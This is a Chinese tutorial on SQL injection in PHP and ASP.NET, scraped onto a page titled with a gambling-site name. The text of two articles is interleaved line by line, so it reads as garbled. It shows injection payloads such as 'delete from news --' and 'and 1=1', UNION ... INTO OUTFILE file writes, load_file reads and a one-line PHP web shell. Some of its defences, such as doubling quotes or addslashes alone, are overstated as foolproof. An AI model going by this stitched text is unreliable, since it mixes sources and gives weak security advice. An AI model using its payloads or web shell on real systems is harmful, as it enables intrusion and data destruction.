澳门新葡萄京官网首页PHP漏洞之SQL注入攻击简单介绍

本文章要介绍一些sql安全知识,告诉你如何做起简单的sql防注入方法及分析黑客是怎么注入的,有需要的朋友可以测试一下,还有更多更好请在本在搜索。

MySQL for Java的SQL注入测试

只要你学JDBC,Statement不能防止SQL注入, PreparedStatement能够防止SQL注入.

原文链接 yklovejava-163-com.iteye.com/blog/1601205

 

SQL注入的攻击本质是让客户端传递过去的字符串变成SQL语句,而且能够被执行。攻击方式包括表单提交、URL传值、和Cookie;

到了服务器可以分为3种情况 数字、日期时间、字符串。

一、数字。
     string sql = “select * from news where ColID=” + id;

  但是如果传递过来的id是“1 delete from table
”的话,那么sql的值就变成了“select * from table where ColID=1 delete
from news
”。对于SQL
Server来说是支持一次提交多条SQL语句的,显然如果这条SQL语句被执行的话,那么news表里的记录就都没有了。

 

 那么如何预防呢?很简单,因为ColID字段的类型是int的,那么我们只需要验证一下传递过来的id是不是整数就可以了。是整数就不存在注入;如果不是那么就有可能存在注入。即使不存在注入,把一个不是整数的id拼接进去也会造成执行错误。
  所以说不管是不是为了预防 SQL注入,也都应该验证id是不是整数。  

  

二、日期时间

  这个和数字的情况是一样的,验证是不是日期时间即可。

三、字符串

  最麻烦、争议最大的就是这个了。

  string key = txtTitle.Text;
  string sql = “select * from news where title like ‘%” + key + “%'”;

  这个又是如何注入的呢?我想先问大家一个问题:如果key的值永远都不会包含单引号,那么会不会被注入进来?

  那么用了单引号又是如何注入的呢?假设key=” ‘ delete from news –”
,那么sql的值就是“ select * from news where title like ‘%’ delete from
news — ‘ ”。
  先用一个单引号和前面的单引号组成一对封闭的单引号,这一对单引号内部(’%’)就作为字符串处理,而外面的就被作为SQL语句处理,而第二个单引号被
“–”给注释掉了,这样就保证了整个sql语句的正确性。

  这是注入的一种方法。

  那么如何来防止呢?想想刚才的问题,如果没有单引号是不是就天下太平了呢?对于这种情况(前面的“数字”的情况不算),到目前为止我是没发现不用单引号,还能够注入进来的方法。也许是我孤陋寡闻吧,不知道各位高手是否知道对于这种情况,不用单引号还能注入进来的方法。

  既然找到了罪魁祸首,那么就好办了,把单引号干掉就ok了。key =
key.Replace(“‘”, “””);这时候sql的值就是” select * from news where
title like ‘%” delete from news –‘”。
  对于SQL
来说在一对单引号内部的两个单引号表示一个字符串形式的单引号。这样我们就把罪魁祸首改造成了字符串了。在一对单引号内的“–”也是普通的字符串而不代表注释。

  罪魁祸首是单引号,想不明白为什么有许多人都去过滤
“delete、update”这一类的关键字,他们都是安善良民呀,他们是很冤枉的。当然了,如果前提是程序都已经写好了,不能修改内部代码,那就另当别论了。至于“–”顶多算是帮凶,如果您不放心的话,把他处理了也行。
  

其实要防止Sql注入,只要两步即可:

1、注意数据类型必须进行类型转换(如int类型,不能图方便,直接不转换就进行字符串拼接;日期类型也要进行类型转换。)

2、替换字符串中的一个单引号为两个单引号(strValue.Replace(“‘”,”””))

这样就绝对没有问题了。

 

 

SQL注入是指用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL
Injection,即SQL注入。

原文链接

 
SQL注入攻击的一般步骤:

说起防止SQL注入攻击,感觉很郁闷,这么多年了大家一直在讨论,也一直在争论,可是到了现在似乎还是没有定论。当不知道注入原理的时候会觉得很神奇,怎么就被注入了呢?会觉得很难预防。但是当知道了注入原理之后预防不就是很简单的事情了吗?

  1、攻 击者访问有SQL注入漏洞的站点,寻找注入点

第一次听说SQL注入攻击的时候还是在2004年,那是还是在写asp呢。在一次写代码的时候,有同事问我,你的这段代码防注入攻击了吗?什么攻击?这是什么呀。
后来到网上各种找,终于弄明白了是怎么攻击进来的了。注入攻击都是来自于客户端,无论是表单提交、URL传值还是Cookie等,其实原理都是一样的。到了服务器端可以分成三种情况:数字、日期时间、字符串。

  2、攻击者构造注入语句,注入语句和程序中的SQL语句结合生成新的sql语句

一、数字。

  3、新的sql语句被提交到数据库中执行
处理

如何注入?

  4、数据库执行了新的SQL语句,引发SQL注入攻击

假设我们要实现一个显示新闻的页面,我们可能会随手写下下面的代码:

 

string id = Request.QueryString[id];string sql = select * from news
where ColID= + id;

 实例

如果传递过来的 id是我们想像的
数字,那么自然不会有什么问题。但是如果传递过来的id是168 delete from
table 的话,那么sql的值就变成了select * from table where ColID=168
delete from news。对于SQL
Server来说是支持一次提交多条SQL语句的,这个为我们提供了方便之余也为SQL注入敞开了大门。显然如果这条SQL语句被执行的话,那么news表里的记录就都没有了。

  数据库

那么如何预防呢?很简单,因为ColID字段的类型是int的,那么我们只需要验证一下传递过来的id是不是整数就可以了。是整数就不存在注入;如果不是那么就有可能存在注入。即使不存在注入,把一个不是整数的id拼接进去也会造成执行错误。
所以说不管是不是为了预防SQL注入,也都应该验证id是不是整数。

  CREATE TABLE `postmessage` (

验证方法嘛,可以用TryParse,可以用正则,也可以自己写函数验证。但是不建议用try异常的方式,因为这个有效率问题。

  `id` int(11) NOT NULL auto_increment,

这里还有一个特殊情况,就是对于批量删除这类的会传递过来多个数字,比如1,2,3,10,这个也需要验证一下,万一有人利用这个漏洞呢。至于验证方法也很简单,自己写个函数就ok了。

  `subject` varchar(60) NOT NULL default “,

澳门新葡萄京官网首页,二、日期时间

  `name` varchar(40) NOT NULL default “,

这个和数字的情况是一样的,验证是不是日期时间即可。

  `email` varchar(25) NOT NULL default “,

三、字符串

  `question` mediumtext NOT NULL,

最麻烦、争议最大的就是这个了。

  `postdate` datetime NOT NULL default ‘0000-00-00 00:00:00′,

先看一下如何注入

  PRIMARY KEY  (`id`)

比如我们先要按照新闻标题来进行查询,可能写的代码:

  ) ENGINE=MyISAM  DEFAULT CHARSET=gb2312 COMMENT=’运用者的留言’
AUTO_INCREMENT=69 ;

string key = txtTitle.Text;string sql = select * from news where title
like ‘% + key + %’;

  grant all privileges on ch3.* to ‘sectop’@localhost identified by
‘123456′;

这个又是如何注入的呢?我想先问大家一个问题:如果key的值永远都不会包含单引号,那么会不会被注入进来?

  //add.php 插入留言

那么用了单引号又是如何注入的呢?假设key= ‘ delete from news —
,那么sql的值就是 select * from news where title like ‘%’ delete from
news — ‘ 。

  //list.php 留言列表

先用一个单引号和前面的单引号组成一对封闭的单引号,这一对单引号内部就作为字符串处理,而外面的就被作为SQL语句处理,而第二个单引号被
–给注释掉了,这样就保证了整个sql语句的正确性。

  //show.php 显示留言

这是注入的一种方法。

  页面 /show.php?id=71 可能存在注入点,我们来测试

那么如何来防止呢?想想刚才的问题,如果没有单引号是不是就天下太平了呢?对于这种情况,到目前为止我是没发现不用单引号,还能够注入进来的方法。也许是我孤陋寡闻吧,不知道各位高手是否知道对于这种情况,不用单引号还能注入进来的方法。

  /show.php?id=71 and 1=1

既然找到了罪魁祸首,那么就好办了,把单引号干掉就ok了。key =
key.Replace(‘, ”);这时候sql的值就是 select * from news where title
like ‘%” delete from news –‘。 对于SQL
来说在一对单引号内部的两个单引号表示一个字符串形式的单引号。这样我们就把罪魁祸首改造成了字符串了。在一对单引号内的–也是普通的字符串而不代表注释。

  返回页面

罪魁祸首是单引号,想不明白为什么有许多人都去过滤
delete、update这一类的关键字,他们都是安善良民呀,他们是很冤枉的。当然了,如果前提是程序都已经写好了,不能修改内部代码,那就另当别论了。至于–顶多算是帮凶,如果您不放心的话,把他处理了也行。

  一次查询到记录,一次没有,我们来看看源码

总结:数字、日期时间的,验证类型;字符串的,处理好单引号。
另外为了安全起见,不要用sa连接数据库,xp_cmdshell这一类的有危险的扩展存储过程也应该处理一下。

  //show.php 12-15行

  // 执行mysql查询语句

  $query = “select * from
postmessage where id = “.$_GET[“id”];

  $result = mysql_query($query)

  or die(“执行ySQL查询语句失败:” . mysql_error());

  参数id传递进来后,和前面的字符串结合的sql语句放入数据库执行 查询

  提交 and 1=1,语句变成select * from postmessage where id = 71 and
1=1 这语句前值后值都为真,and以后也为真,返回查询到的数据

  提交 and 1=2,语句变成select * from postmessage where id = 71 and
1=2 这语句前值为真,后值为假,and以后为假,查询不到任何数据

  正常的SQL查询,经过我们构造的语句之后,形成了SQL注入攻击。通过这个注入点,我们还可以进一步拿到权限,比如说运用
union读取管理密码,读取数据库信息,或者用mysql的load_file,into
outfile等函数进一步渗透。

 

防sql注入方法

$id = intval ($_GET[‘id’]);

当然,还有其它的变量类型,如果有必要的话尽量强制一下格式。

字符型参数:

运用
addslashes函数来将单引号”‘”转换成”‘”,双引号”””转换成”””,反斜杠””转换成””,NULL字符加上反斜杠””

  函数原型

  string addslashes (string str)

          str是要检查的字符串

  那么刚才出现的代码漏洞,我们可以这样修补

  // 执行mysql查询语句

  $query = “select * from postmessage where id =
“.intval($_GET[“id”]);

  $result = mysql_query($query)

or die(“执行ySQL查询语句失败:” . mysql_error());

 

如果是字符型,先判断magic_quotes_gpc能无法 为On,当不为On的时候运用
addslashes转义特殊字符

 代码如下

 

  if(get_magic_quotes_gpc())

  {

  $var = $_GET[“var”];

  }

  else

  {

  $var = addslashes($_GET[“var”]);

  }

]

SQL语句中包含变量加引号

SQL代码:

 代码如下

SELECT * FROM article WHERE articleid = ‘$id’

SELECT * FROM article WHERE articleid = $id

两种写法在各种程序中都很普遍,但安全性是不同的,第一句由于把变量$id放在一对单引号中,这样使得我们所提交的变量都变成了字符串,即使包含了正确的SQL语句,也不会正常执行,而第二句不同,由于没有把变量放进单引号中,那我们所提交的一切,只要包含空格,那空格后的变量都会作为SQL语句执行,因此,我们要养成给SQL语句中变量加引号的习惯。

  1. URL伪静态化

URL伪静态化也就是URL重写技术,像Discuz!一样,将所有的URL都rewrite成类似xxx-xxx-x.html格式,即有利于SEO,又达到了一定的安全性,也不失为一个好办法。但是想实现PHP防SQL注入,前提是你得有一定的”正则”基础。

  1. 用PHP函数过滤与转义

PHP的SQL注入比较重要的一点就是GPC的设置问题,因为MYSQL4以下的版本是不支持子语句的,而且当php.ini里的magic_quotes_gpc为On时,提交的变量中所有的
” ‘  “(单引号)、” ” “(双引号)、”
“(反斜线)和空字符都会自动转为含有反斜线的转义字符,给SQL注入带来不少的阻碍。

  1. 用PHP的MySQL函数过滤与转义

PHP的MySQL操作函数中有addslashes()、mysql_real_escape_string()、mysql_escape_string()等函数,可将特殊字符或可能引起数据库操作出错的字符转义。

那么这三个功能函数之间有什么区别呢?下面我们来详细讲述下:


addslashes的问题在于黑客可以用0xbf27来代替单引号,而addslashes只是将0xbf27修改为0xbf5c27,称为一个有效的多字节字符,其中0xbf5c仍会被看做是单引号,所以addslashes无法成功拦截。

当然addslashes也不是毫无用处,它是用于单字节字符串的处理,多字节字符还是用mysql_real_escape_string吧。

另外对于php手册中get_magic_quotes_gpc的举例:

 代码如下

if(!get_magic_quotes_gpc()){  $lastname =
addslashes($_POST[‘lastname’]);}else{  $lastname =
$_POST[‘lastname’];}

最好对magic_quotes_gpc已经打开的情况下,还是对$_POST[‘lastname’]进行检查一下。

再说下mysql_real_escape_string和mysql_escape_string这2个函数的区别:

 代码如下

function daddslashes($string, $force = 0, $strip = FALSE) {   
if(!MAGIC_QUOTES_GPC || $force) {       
if(is_array($string)) {          
 foreach($string as $key =>
$val) {               
 $string[$key] = daddslashes($val, $force, $strip);         
   }      
  } else
  {           
  $string = addslashes($strip ?
stripslashes($string) :
$string);       
  }   
  }   
  return $string;
 }

命令1 – 写任意文件

MySQL有一个内置的命令,可用于创建和写入系统文件。 此命令的格式如下:

 代码如下

mysq> select “text” INTO OUTFILE “file.txt”

此命令的一个大缺点是,它可以被附加到一个现有的查询使用UNION的SQL令牌。

例如,它可以被附加到下面的查询:

 代码如下

select user, password from user where
user=”admin” and password=’123′
结果查询:

select user, password from user where user=”admin” and password=’123′
union select “text”,2 into outfile “/tmp/file.txt” — ‘

作为对上述命令的结果,在/ tmp / file.txt文件将被创建,包括查询结果。
命令2 – 读任意文件
MySQL有一个内置的命令,可以用来读取任意文件。 它的语法很简单。 B
.我们将利用这个 b命令计划 。

 代码如下

mysql> select load_file(“PATH_TO_FILE”);

Web shell

Webshell是polpular并广泛用于执行在Web浏览器从shell命令的工具。
.有人称之为这些工具的PHP炮弹。
我们将创建一个非常简单的webshell,将执行shell命令。

下面是执行的代码PHP的一个非常基本的外壳是将(参数通过加利福尼亚 ):

 代码如下

<? system($_REQUEST[‘cmd’]); ?>

发表评论

电子邮件地址不会被公开。 必填项已用*标注